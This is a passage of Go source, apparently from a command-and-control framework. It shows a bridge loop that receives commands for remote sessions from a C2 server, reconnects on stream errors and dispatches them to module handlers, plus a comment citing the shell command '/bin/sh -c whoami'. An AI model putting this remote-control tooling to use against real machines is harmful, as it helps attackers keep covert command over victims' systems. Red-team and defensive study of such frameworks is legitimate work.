handleSpiteRecv receives commands from the C2 server via SpiteStream and dispatches them to the registered module handlers. Reconnects on stream errors.
()
| 14 | // handleSpiteRecv receives commands from the C2 server via SpiteStream and |
| 15 | // dispatches them to the registered module handlers. Reconnects on stream errors. |
| 16 | func (b *Bridge) handleSpiteRecv() { |
| 17 | log.Infof("[bridge] handleSpiteRecv started") |
| 18 | ctx := b.moduleContext() |
| 19 | for { |
| 20 | req, err := b.spiteStream.Recv() |
| 21 | if err != nil { |
| 22 | log.Errorf("[bridge] SpiteStream recv error: %v", err) |
| 23 | if b.ctx.Err() != nil { |
| 24 | return // bridge is shutting down |
| 25 | } |
| 26 | b.reconnectSpiteStream(err) |
| 27 | ctx = b.moduleContext() // refresh context with new stream |
| 28 | continue |
| 29 | } |
| 30 | |
| 31 | sessionID := req.GetSession().GetSessionId() |
| 32 | spite := req.GetSpite() |
| 33 | if spite == nil || sessionID == "" { |
| 34 | continue |
| 35 | } |
| 36 | |
| 37 | // Extract task ID so we can echo it back in the response. |
| 38 | var taskID uint32 |
| 39 | if t := req.GetTask(); t != nil { |
| 40 | taskID = t.GetTaskId() |
| 41 | } |
| 42 | |
| 43 | log.Infof("[bridge] recv spite=%q taskID=%d session=%s", spite.Name, taskID, sessionID) |
| 44 | |
| 45 | // Ensure session listener is active for TaskManager fan-out. |
| 46 | b.taskManager.StartSessionListener(sessionID) |
| 47 | |
| 48 | if !b.registry.Dispatch(ctx, sessionID, taskID, spite) { |
| 49 | b.sendExecResponse(sessionID, taskID, fmt.Sprintf("module not found: %s", spite.Name)) |
| 50 | } |
| 51 | } |
| 52 | } |
| 53 | |
| 54 | // extractCommand builds the actual command from an ExecRequest. |
| 55 | // The server sends Path="/bin/sh" Args=["-c","whoami"] for shell commands. |